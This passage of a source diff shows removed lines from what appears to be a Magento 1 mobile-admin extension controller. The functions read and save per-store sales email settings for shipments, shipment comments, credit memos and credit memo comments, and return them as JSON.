| 3686 |
-
else
|
| 3687 |
-
{
|
| 3688 |
-
Mage::getConfig()->saveConfig('sales_email/shipment/copy_method', $post_data['orderShipmentEmailCopyVal'], 'stores', $storeId);
|
| 3689 |
-
}
|
| 3690 |
-
|
| 3691 |
-
$salesEmailsAcion['successMessage'] = "Send Shipment Email Copy Method Value updated On ".$storeName." Store.";
|
| 3692 |
-
Mage::getConfig()->reinit();
|
| 3693 |
-
Mage::app()->reinitStores();
|
| 3694 |
-
}
|
| 3695 |
-
$salesEmailsAcion['orderShipmentEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/shipment/copy_method', $storeId);
|
| 3696 |
-
|
| 3697 |
-
|
| 3698 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 3699 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 3700 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3701 |
-
}
|
| 3702 |
-
catch(Exception $e)
|
| 3703 |
-
{
|
| 3704 |
-
$errorResult['error'] = $e->getMessage();
|
| 3705 |
-
|
| 3706 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 3707 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3708 |
-
}
|
| 3709 |
-
}
|
| 3710 |
-
else
|
| 3711 |
-
{
|
| 3712 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 3713 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 3714 |
-
}
|
| 3715 |
-
}
|
| 3716 |
-
|
| 3717 |
-
|
| 3718 |
-
public function salesEmailsOrderShipmentCommentsAction()
|
| 3719 |
-
{
|
| 3720 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 3721 |
-
{
|
| 3722 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 3723 |
-
$sessionId = $post_data['session'];
|
| 3724 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 3725 |
-
{
|
| 3726 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 3727 |
-
return false;
|
| 3728 |
-
}
|
| 3729 |
-
|
| 3730 |
-
try
|
| 3731 |
-
{
|
| 3732 |
-
$storeId = $post_data['store'];
|
| 3733 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 3734 |
-
|
| 3735 |
-
|
| 3736 |
-
//Shipment Comments
|
| 3737 |
-
|
| 3738 |
-
//Enabled
|
| 3739 |
-
if(isset($post_data['salesEmailShipmentCommentsEnableVal']))
|
| 3740 |
-
{
|
| 3741 |
-
if($storeId == 0)
|
| 3742 |
-
{
|
| 3743 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/enabled', $post_data['salesEmailShipmentCommentsEnableVal'], 'default', $storeId);
|
| 3744 |
-
}
|
| 3745 |
-
else
|
| 3746 |
-
{
|
| 3747 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/enabled', $post_data['salesEmailShipmentCommentsEnableVal'], 'stores', $storeId);
|
| 3748 |
-
}
|
| 3749 |
-
|
| 3750 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension for Shipment Comments updated On ".$storeName." Store.";
|
| 3751 |
-
Mage::getConfig()->reinit();
|
| 3752 |
-
Mage::app()->reinitStores();
|
| 3753 |
-
}
|
| 3754 |
-
$salesEmailsAcion['salesEmailShipmentCommentsEnableSelectedValue'] = Mage::getStoreConfig('sales_email/shipment_comment/enabled', $storeId);
|
| 3755 |
-
|
| 3756 |
-
|
| 3757 |
-
|
| 3758 |
-
//Shipment Comment Email Sender
|
| 3759 |
-
if(isset($post_data['shipmentCommentsEmailVal']))
|
| 3760 |
-
{
|
| 3761 |
-
if($storeId == 0)
|
| 3762 |
-
{
|
| 3763 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/identity', $post_data['shipmentCommentsEmailVal'], 'default', $storeId);
|
| 3764 |
-
}
|
| 3765 |
-
else
|
| 3766 |
-
{
|
| 3767 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/identity', $post_data['shipmentCommentsEmailVal'], 'stores', $storeId);
|
| 3768 |
-
}
|
| 3769 |
-
|
| 3770 |
-
$salesEmailsAcion['successMessage'] = "Shipment Comment Email Sender updated On ".$storeName." Store.";
|
| 3771 |
-
Mage::getConfig()->reinit();
|
| 3772 |
-
Mage::app()->reinitStores();
|
| 3773 |
-
}
|
| 3774 |
-
$shipmentCommentsEmailSelectedValue = Mage::getStoreConfig('sales_email/shipment_comment/identity', $storeId);
|
| 3775 |
-
|
| 3776 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 3777 |
-
{
|
| 3778 |
-
if($value['value'] == $shipmentCommentsEmailSelectedValue)
|
| 3779 |
-
{
|
| 3780 |
-
$emailComArr['label'] = $value['label'];
|
| 3781 |
-
$emailComArr['value'] = $value['value'];
|
| 3782 |
-
$emailComArr['status'] = 1;
|
| 3783 |
-
$salesEmailsAcion['shipmentCommentsEmailList'][] = $emailComArr;
|
| 3784 |
-
}
|
| 3785 |
-
else
|
| 3786 |
-
{
|
| 3787 |
-
$emailComArr['label'] = $value['label'];
|
| 3788 |
-
$emailComArr['value'] = $value['value'];
|
| 3789 |
-
$emailComArr['status'] = 0;
|
| 3790 |
-
$salesEmailsAcion['shipmentCommentsEmailList'][] = $emailComArr;
|
| 3791 |
-
}
|
| 3792 |
-
|
| 3793 |
-
}
|
| 3794 |
-
|
| 3795 |
-
|
| 3796 |
-
|
| 3797 |
-
//Shipment Comment Email Template
|
| 3798 |
-
if(isset($post_data['newOrderShipmentCommentsEmailTemplateVal']))
|
| 3799 |
-
{
|
| 3800 |
-
if($storeId == 0)
|
| 3801 |
-
{
|
| 3802 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/template', $post_data['newOrderShipmentCommentsEmailTemplateVal'], 'default', $storeId);
|
| 3803 |
-
}
|
| 3804 |
-
else
|
| 3805 |
-
{
|
| 3806 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/template', $post_data['newOrderShipmentCommentsEmailTemplateVal'], 'stores', $storeId);
|
| 3807 |
-
}
|
| 3808 |
-
|
| 3809 |
-
$salesEmailsAcion['successMessage'] = "Shipment Comment Email Template updated On ".$storeName." Store.";
|
| 3810 |
-
Mage::getConfig()->reinit();
|
| 3811 |
-
Mage::app()->reinitStores();
|
| 3812 |
-
}
|
| 3813 |
-
$newOrderShipmentCommentsEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/shipment_comment/template', $storeId);
|
| 3814 |
-
|
| 3815 |
-
$newOrderShipmentCommentsEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3816 |
-
$newOrderShipmentCommentsEmailTemCollection = $newOrderShipmentCommentsEmailTemObj->toOptionArray();
|
| 3817 |
-
if($newOrderShipmentCommentsEmailTemCollection[0]['value'] == "")
|
| 3818 |
-
{
|
| 3819 |
-
$newOrderShipmentCommentsEmailTemCollection[0]['value'] = "sales_email_shipment_comment_template";
|
| 3820 |
-
}
|
| 3821 |
-
//echo "<pre>"; print_r($newOrderShipmentCommentsEmailTemCollection); die;
|
| 3822 |
-
foreach ($newOrderShipmentCommentsEmailTemCollection as $value)
|
| 3823 |
-
{
|
| 3824 |
-
if($value['value'] == $newOrderShipmentCommentsEmailTemplateSelectedValue)
|
| 3825 |
-
{
|
| 3826 |
-
$newOrderEmailTemArr['label'] = "Shipment Update (".$value['label'].")";
|
| 3827 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3828 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 3829 |
-
$salesEmailsAcion['newOrderShipmentCommentsEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3830 |
-
}
|
| 3831 |
-
else
|
| 3832 |
-
{
|
| 3833 |
-
$newOrderEmailTemArr['label'] = "Shipment Update (".$value['label'].")";
|
| 3834 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 3835 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 3836 |
-
$salesEmailsAcion['newOrderShipmentCommentsEmailTempColl'][] = $newOrderEmailTemArr;
|
| 3837 |
-
}
|
| 3838 |
-
}
|
| 3839 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3840 |
-
|
| 3841 |
-
|
| 3842 |
-
|
| 3843 |
-
|
| 3844 |
-
//Shipment Comment Email Template for Guest
|
| 3845 |
-
if(isset($post_data['newOrderShipmentCommentsForGuestVal']))
|
| 3846 |
-
{
|
| 3847 |
-
if($storeId == 0)
|
| 3848 |
-
{
|
| 3849 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/guest_template', $post_data['newOrderShipmentCommentsForGuestVal'], 'default', $storeId);
|
| 3850 |
-
}
|
| 3851 |
-
else
|
| 3852 |
-
{
|
| 3853 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/guest_template', $post_data['newOrderShipmentCommentsForGuestVal'], 'stores', $storeId);
|
| 3854 |
-
}
|
| 3855 |
-
|
| 3856 |
-
$salesEmailsAcion['successMessage'] = "Shipment Comment Email Template for Guest updated On ".$storeName." Store.";
|
| 3857 |
-
Mage::getConfig()->reinit();
|
| 3858 |
-
Mage::app()->reinitStores();
|
| 3859 |
-
}
|
| 3860 |
-
|
| 3861 |
-
$forGuestShipmentCommentsEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/shipment_comment/guest_template', $storeId);
|
| 3862 |
-
|
| 3863 |
-
$newOrderShipmentCommentsEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 3864 |
-
$newOrderShipmentCommentsEmailGuestTemCollection = $newOrderShipmentCommentsEmailGuestTemObj->toOptionArray();
|
| 3865 |
-
if($newOrderShipmentCommentsEmailGuestTemCollection[0]['value'] == "")
|
| 3866 |
-
{
|
| 3867 |
-
$newOrderShipmentCommentsEmailGuestTemCollection[0]['value'] = "sales_email_shipment_comment_guest_template";
|
| 3868 |
-
}
|
| 3869 |
-
|
| 3870 |
-
//echo "<pre>"; print_r($newOrderShipmentCommentsEmailGuestTemCollection); die;
|
| 3871 |
-
foreach ($newOrderShipmentCommentsEmailGuestTemCollection as $value)
|
| 3872 |
-
{
|
| 3873 |
-
if($value['value'] == $forGuestShipmentCommentsEmailTemplateSelectedValue)
|
| 3874 |
-
{
|
| 3875 |
-
$forGuestOrderEmailTemArr['label'] = "Shipment Update for Guest (".$value['label'].")";
|
| 3876 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3877 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 3878 |
-
$salesEmailsAcion['newOrderShipmentCommentsForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3879 |
-
}
|
| 3880 |
-
else
|
| 3881 |
-
{
|
| 3882 |
-
$forGuestOrderEmailTemArr['label'] = "Shipment Update for Guest (".$value['label'].")";
|
| 3883 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 3884 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 3885 |
-
$salesEmailsAcion['newOrderShipmentCommentsForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 3886 |
-
}
|
| 3887 |
-
}
|
| 3888 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 3889 |
-
|
| 3890 |
-
|
| 3891 |
-
|
| 3892 |
-
|
| 3893 |
-
//Send Shipment Comment Email Copy To
|
| 3894 |
-
if(isset($post_data['emailShipmentCommentsCopyToVal']))
|
| 3895 |
-
{
|
| 3896 |
-
if($storeId == 0)
|
| 3897 |
-
{
|
| 3898 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/copy_to', $post_data['emailShipmentCommentsCopyToVal'], 'default', $storeId);
|
| 3899 |
-
}
|
| 3900 |
-
else
|
| 3901 |
-
{
|
| 3902 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/copy_to', $post_data['emailShipmentCommentsCopyToVal'], 'stores', $storeId);
|
| 3903 |
-
}
|
| 3904 |
-
|
| 3905 |
-
$salesEmailsAcion['successMessage'] = "Send Shipment Comment Email Copy To Value updated On ".$storeName." Store.";
|
| 3906 |
-
Mage::getConfig()->reinit();
|
| 3907 |
-
Mage::app()->reinitStores();
|
| 3908 |
-
}
|
| 3909 |
-
$salesEmailsAcion['emailShipmentCommentsCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/shipment_comment/copy_to', $storeId);
|
| 3910 |
-
|
| 3911 |
-
|
| 3912 |
-
|
| 3913 |
-
//Send Shipment Comments Email Copy Method
|
| 3914 |
-
if(isset($post_data['orderShipmentCommentsEmailCopyVal']))
|
| 3915 |
-
{
|
| 3916 |
-
if($storeId == 0)
|
| 3917 |
-
{
|
| 3918 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/copy_method', $post_data['orderShipmentCommentsEmailCopyVal'], 'default', $storeId);
|
| 3919 |
-
}
|
| 3920 |
-
else
|
| 3921 |
-
{
|
| 3922 |
-
Mage::getConfig()->saveConfig('sales_email/shipment_comment/copy_method', $post_data['orderShipmentCommentsEmailCopyVal'], 'stores', $storeId);
|
| 3923 |
-
}
|
| 3924 |
-
|
| 3925 |
-
$salesEmailsAcion['successMessage'] = "Send Shipment Email Copy Method Value updated On ".$storeName." Store.";
|
| 3926 |
-
Mage::getConfig()->reinit();
|
| 3927 |
-
Mage::app()->reinitStores();
|
| 3928 |
-
}
|
| 3929 |
-
$salesEmailsAcion['orderShipmentCommentsEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/shipment_comment/copy_method', $storeId);
|
| 3930 |
-
|
| 3931 |
-
|
| 3932 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 3933 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 3934 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3935 |
-
}
|
| 3936 |
-
catch(Exception $e)
|
| 3937 |
-
{
|
| 3938 |
-
$errorResult['error'] = $e->getMessage();
|
| 3939 |
-
|
| 3940 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 3941 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 3942 |
-
}
|
| 3943 |
-
}
|
| 3944 |
-
else
|
| 3945 |
-
{
|
| 3946 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 3947 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 3948 |
-
}
|
| 3949 |
-
}
|
| 3950 |
-
|
| 3951 |
-
|
| 3952 |
-
public function salesEmailsOrderCreditMemoAction()
|
| 3953 |
-
{
|
| 3954 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 3955 |
-
{
|
| 3956 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 3957 |
-
$sessionId = $post_data['session'];
|
| 3958 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 3959 |
-
{
|
| 3960 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 3961 |
-
return false;
|
| 3962 |
-
}
|
| 3963 |
-
|
| 3964 |
-
try
|
| 3965 |
-
{
|
| 3966 |
-
$storeId = $post_data['store'];
|
| 3967 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 3968 |
-
|
| 3969 |
-
|
| 3970 |
-
//Credit Memo
|
| 3971 |
-
|
| 3972 |
-
//Enabled
|
| 3973 |
-
if(isset($post_data['salesEmailCreditMemoEnableVal']))
|
| 3974 |
-
{
|
| 3975 |
-
if($storeId == 0)
|
| 3976 |
-
{
|
| 3977 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/enabled', $post_data['salesEmailCreditMemoEnableVal'], 'default', $storeId);
|
| 3978 |
-
}
|
| 3979 |
-
else
|
| 3980 |
-
{
|
| 3981 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/enabled', $post_data['salesEmailCreditMemoEnableVal'], 'stores', $storeId);
|
| 3982 |
-
}
|
| 3983 |
-
|
| 3984 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension for Credit Memo updated On ".$storeName." Store.";
|
| 3985 |
-
Mage::getConfig()->reinit();
|
| 3986 |
-
Mage::app()->reinitStores();
|
| 3987 |
-
}
|
| 3988 |
-
$salesEmailsAcion['salesEmailCreditMemoEnableSelectedValue'] = Mage::getStoreConfig('sales_email/creditmemo/enabled', $storeId);
|
| 3989 |
-
|
| 3990 |
-
|
| 3991 |
-
|
| 3992 |
-
//Credit Memo Email Sender
|
| 3993 |
-
if(isset($post_data['creditMemoEmailVal']))
|
| 3994 |
-
{
|
| 3995 |
-
if($storeId == 0)
|
| 3996 |
-
{
|
| 3997 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/identity', $post_data['creditMemoEmailVal'], 'default', $storeId);
|
| 3998 |
-
}
|
| 3999 |
-
else
|
| 4000 |
-
{
|
| 4001 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/identity', $post_data['creditMemoEmailVal'], 'stores', $storeId);
|
| 4002 |
-
}
|
| 4003 |
-
|
| 4004 |
-
$salesEmailsAcion['successMessage'] = "Credit Memo Email Sender updated On ".$storeName." Store.";
|
| 4005 |
-
Mage::getConfig()->reinit();
|
| 4006 |
-
Mage::app()->reinitStores();
|
| 4007 |
-
}
|
| 4008 |
-
|
| 4009 |
-
$creditMemoEmailSelectedValue = Mage::getStoreConfig('sales_email/creditmemo/identity', $storeId);
|
| 4010 |
-
|
| 4011 |
-
foreach ($this->emailSendersListArray() as $value)
|
| 4012 |
-
{
|
| 4013 |
-
if($value['value'] == $creditMemoEmailSelectedValue)
|
| 4014 |
-
{
|
| 4015 |
-
$emailComArr['label'] = $value['label'];
|
| 4016 |
-
$emailComArr['value'] = $value['value'];
|
| 4017 |
-
$emailComArr['status'] = 1;
|
| 4018 |
-
$salesEmailsAcion['creditMemoEmailList'][] = $emailComArr;
|
| 4019 |
-
}
|
| 4020 |
-
else
|
| 4021 |
-
{
|
| 4022 |
-
$emailComArr['label'] = $value['label'];
|
| 4023 |
-
$emailComArr['value'] = $value['value'];
|
| 4024 |
-
$emailComArr['status'] = 0;
|
| 4025 |
-
$salesEmailsAcion['creditMemoEmailList'][] = $emailComArr;
|
| 4026 |
-
}
|
| 4027 |
-
|
| 4028 |
-
}
|
| 4029 |
-
|
| 4030 |
-
|
| 4031 |
-
|
| 4032 |
-
//Credit Memo Email Template
|
| 4033 |
-
if(isset($post_data['newOrderCreditMemoEmailTemplateVal']))
|
| 4034 |
-
{
|
| 4035 |
-
if($storeId == 0)
|
| 4036 |
-
{
|
| 4037 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/template', $post_data['newOrderCreditMemoEmailTemplateVal'], 'default', $storeId);
|
| 4038 |
-
}
|
| 4039 |
-
else
|
| 4040 |
-
{
|
| 4041 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/template', $post_data['newOrderCreditMemoEmailTemplateVal'], 'stores', $storeId);
|
| 4042 |
-
}
|
| 4043 |
-
|
| 4044 |
-
$salesEmailsAcion['successMessage'] = "Credit Memo Email Template updated On ".$storeName." Store.";
|
| 4045 |
-
Mage::getConfig()->reinit();
|
| 4046 |
-
Mage::app()->reinitStores();
|
| 4047 |
-
}
|
| 4048 |
-
|
| 4049 |
-
$newOrderCreditMemoEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/creditmemo/template', $storeId);
|
| 4050 |
-
|
| 4051 |
-
$newOrderCreditMemoEmailTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 4052 |
-
$newOrderCreditMemoEmailTemCollection = $newOrderCreditMemoEmailTemObj->toOptionArray();
|
| 4053 |
-
if($newOrderCreditMemoEmailTemCollection[0]['value'] == "")
|
| 4054 |
-
{
|
| 4055 |
-
$newOrderCreditMemoEmailTemCollection[0]['value'] = "sales_email_creditmemo_template";
|
| 4056 |
-
}
|
| 4057 |
-
//echo "<pre>"; print_r($newOrderCreditMemoEmailTemCollection); die;
|
| 4058 |
-
foreach ($newOrderCreditMemoEmailTemCollection as $value)
|
| 4059 |
-
{
|
| 4060 |
-
if($value['value'] == $newOrderCreditMemoEmailTemplateSelectedValue)
|
| 4061 |
-
{
|
| 4062 |
-
$newOrderEmailTemArr['label'] = "New Credit Memo (".$value['label'].")";
|
| 4063 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 4064 |
-
$newOrderEmailTemArr['status'] = 1;
|
| 4065 |
-
$salesEmailsAcion['newOrderCreditMemoEmailTempColl'][] = $newOrderEmailTemArr;
|
| 4066 |
-
}
|
| 4067 |
-
else
|
| 4068 |
-
{
|
| 4069 |
-
$newOrderEmailTemArr['label'] = "New Credit Memo (".$value['label'].")";
|
| 4070 |
-
$newOrderEmailTemArr['value'] = $value['value'];
|
| 4071 |
-
$newOrderEmailTemArr['status'] = 0;
|
| 4072 |
-
$salesEmailsAcion['newOrderCreditMemoEmailTempColl'][] = $newOrderEmailTemArr;
|
| 4073 |
-
}
|
| 4074 |
-
}
|
| 4075 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 4076 |
-
|
| 4077 |
-
|
| 4078 |
-
|
| 4079 |
-
|
| 4080 |
-
//Credit Memo Email Template for Guest
|
| 4081 |
-
if(isset($post_data['newOrderCreditMemoForGuestVal']))
|
| 4082 |
-
{
|
| 4083 |
-
if($storeId == 0)
|
| 4084 |
-
{
|
| 4085 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/guest_template', $post_data['newOrderCreditMemoForGuestVal'], 'default', $storeId);
|
| 4086 |
-
}
|
| 4087 |
-
else
|
| 4088 |
-
{
|
| 4089 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/guest_template', $post_data['newOrderCreditMemoForGuestVal'], 'stores', $storeId);
|
| 4090 |
-
}
|
| 4091 |
-
|
| 4092 |
-
$salesEmailsAcion['successMessage'] = "Credit Memo Email Template for Guest updated On ".$storeName." Store.";
|
| 4093 |
-
Mage::getConfig()->reinit();
|
| 4094 |
-
Mage::app()->reinitStores();
|
| 4095 |
-
}
|
| 4096 |
-
|
| 4097 |
-
$forGuestCreditMemoEmailTemplateSelectedValue = Mage::getStoreConfig('sales_email/creditmemo/guest_template', $storeId);
|
| 4098 |
-
|
| 4099 |
-
$newOrderCreditMemoEmailGuestTemObj = new Mage_Adminhtml_Model_System_Config_Source_Email_Template();
|
| 4100 |
-
$newOrderCreditMemoEmailGuestTemCollection = $newOrderCreditMemoEmailGuestTemObj->toOptionArray();
|
| 4101 |
-
if($newOrderCreditMemoEmailGuestTemCollection[0]['value'] == "")
|
| 4102 |
-
{
|
| 4103 |
-
$newOrderCreditMemoEmailGuestTemCollection[0]['value'] = "sales_email_creditmemo_guest_template";
|
| 4104 |
-
}
|
| 4105 |
-
|
| 4106 |
-
//echo "<pre>"; print_r($newOrderShipmentCommentsEmailGuestTemCollection); die;
|
| 4107 |
-
foreach ($newOrderCreditMemoEmailGuestTemCollection as $value)
|
| 4108 |
-
{
|
| 4109 |
-
if($value['value'] == $forGuestCreditMemoEmailTemplateSelectedValue)
|
| 4110 |
-
{
|
| 4111 |
-
$forGuestOrderEmailTemArr['label'] = "New Credit Memo for Guest (".$value['label'].")";
|
| 4112 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 4113 |
-
$forGuestOrderEmailTemArr['status'] = 1;
|
| 4114 |
-
$salesEmailsAcion['newOrderCreditMemoForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 4115 |
-
}
|
| 4116 |
-
else
|
| 4117 |
-
{
|
| 4118 |
-
$forGuestOrderEmailTemArr['label'] = "New Credit Memo for Guest (".$value['label'].")";
|
| 4119 |
-
$forGuestOrderEmailTemArr['value'] = $value['value'];
|
| 4120 |
-
$forGuestOrderEmailTemArr['status'] = 0;
|
| 4121 |
-
$salesEmailsAcion['newOrderCreditMemoForGuestColl'][] = $forGuestOrderEmailTemArr;
|
| 4122 |
-
}
|
| 4123 |
-
}
|
| 4124 |
-
//echo $post_data['emailTemplateVal']."***";
|
| 4125 |
-
|
| 4126 |
-
|
| 4127 |
-
|
| 4128 |
-
|
| 4129 |
-
//Send Credit Memo Email Copy To
|
| 4130 |
-
if(isset($post_data['emailCreditMemoCopyToVal']))
|
| 4131 |
-
{
|
| 4132 |
-
if($storeId == 0)
|
| 4133 |
-
{
|
| 4134 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/copy_to', $post_data['emailCreditMemoCopyToVal'], 'default', $storeId);
|
| 4135 |
-
}
|
| 4136 |
-
else
|
| 4137 |
-
{
|
| 4138 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/copy_to', $post_data['emailCreditMemoCopyToVal'], 'stores', $storeId);
|
| 4139 |
-
}
|
| 4140 |
-
|
| 4141 |
-
$salesEmailsAcion['successMessage'] = "Send Credit Memo Email Copy To Value updated On ".$storeName." Store.";
|
| 4142 |
-
Mage::getConfig()->reinit();
|
| 4143 |
-
Mage::app()->reinitStores();
|
| 4144 |
-
}
|
| 4145 |
-
$salesEmailsAcion['emailCreditMemoCopyToSelectedValue'] = Mage::getStoreConfig('sales_email/creditmemo/copy_to', $storeId);
|
| 4146 |
-
|
| 4147 |
-
|
| 4148 |
-
|
| 4149 |
-
//Send Credit Memo Email Copy Method
|
| 4150 |
-
if(isset($post_data['orderCreditMemoEmailCopyVal']))
|
| 4151 |
-
{
|
| 4152 |
-
if($storeId == 0)
|
| 4153 |
-
{
|
| 4154 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/copy_method', $post_data['orderCreditMemoEmailCopyVal'], 'default', $storeId);
|
| 4155 |
-
}
|
| 4156 |
-
else
|
| 4157 |
-
{
|
| 4158 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo/copy_method', $post_data['orderCreditMemoEmailCopyVal'], 'stores', $storeId);
|
| 4159 |
-
}
|
| 4160 |
-
|
| 4161 |
-
$salesEmailsAcion['successMessage'] = "Send Credit Memo Email Copy Method Value updated On ".$storeName." Store.";
|
| 4162 |
-
Mage::getConfig()->reinit();
|
| 4163 |
-
Mage::app()->reinitStores();
|
| 4164 |
-
}
|
| 4165 |
-
$salesEmailsAcion['orderCreditMemoEmailCopySelectedValue'] = Mage::getStoreConfig('sales_email/creditmemo/copy_method', $storeId);
|
| 4166 |
-
|
| 4167 |
-
|
| 4168 |
-
// echo "<pre>"; print_r($salesEmailsAcion); die;
|
| 4169 |
-
$jsonData = Mage::helper('core')->jsonEncode($salesEmailsAcion);
|
| 4170 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 4171 |
-
}
|
| 4172 |
-
catch(Exception $e)
|
| 4173 |
-
{
|
| 4174 |
-
$errorResult['error'] = $e->getMessage();
|
| 4175 |
-
|
| 4176 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 4177 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 4178 |
-
}
|
| 4179 |
-
}
|
| 4180 |
-
else
|
| 4181 |
-
{
|
| 4182 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 4183 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 4184 |
-
}
|
| 4185 |
-
}
|
| 4186 |
-
|
| 4187 |
-
|
| 4188 |
-
public function salesEmailsOrderCreditMemoCommentsAction()
|
| 4189 |
-
{
|
| 4190 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 4191 |
-
{
|
| 4192 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 4193 |
-
$sessionId = $post_data['session'];
|
| 4194 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 4195 |
-
{
|
| 4196 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 4197 |
-
return false;
|
| 4198 |
-
}
|
| 4199 |
-
|
| 4200 |
-
try
|
| 4201 |
-
{
|
| 4202 |
-
$storeId = $post_data['store'];
|
| 4203 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 4204 |
-
|
| 4205 |
-
|
| 4206 |
-
//Credit Memo Comments
|
| 4207 |
-
|
| 4208 |
-
//Enabled
|
| 4209 |
-
if(isset($post_data['salesEmailCreditMemoCommentsEnableVal']))
|
| 4210 |
-
{
|
| 4211 |
-
if($storeId == 0)
|
| 4212 |
-
{
|
| 4213 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/enabled', $post_data['salesEmailCreditMemoCommentsEnableVal'], 'default', $storeId);
|
| 4214 |
-
}
|
| 4215 |
-
else
|
| 4216 |
-
{
|
| 4217 |
-
Mage::getConfig()->saveConfig('sales_email/creditmemo_comment/enabled', $post_data['salesEmailCreditMemoCommentsEnableVal'], 'stores', $storeId);
|
| 4218 |
-
}
|
| 4219 |
-
|
| 4220 |
-
$salesEmailsAcion['successMessage'] = "Sales Email Extension for Credit Memo Comments updated On ".$storeName." Store.";
|
| 4221 |
-
Mage::getConfig()->reinit();
|
| 4222 |
-
Mage::app()->reinitStores();
|
| 4223 |
-
}
|
| 4224 |
-
$salesEmailsAcion['salesEmailCreditMemoCommentsEnableSelectedValue'] = Mage::getStoreConfig('sales_email/creditmemo_comment/enabled', $storeId);
|
| 4225 |
-
|
| 4226 |
-
|
| 4227 |
-
|
| 4228 |
-
//Credit Memo Comment Email Sender
|
| 4229 |
-
if(isset($post_data['creditMemoCommentEmailVal']))
|
| 4230 |
-
{
|
| 4231 |
-
if($storeId == 0)
|
| 4232 |
-
{
|
| 4233 |
-
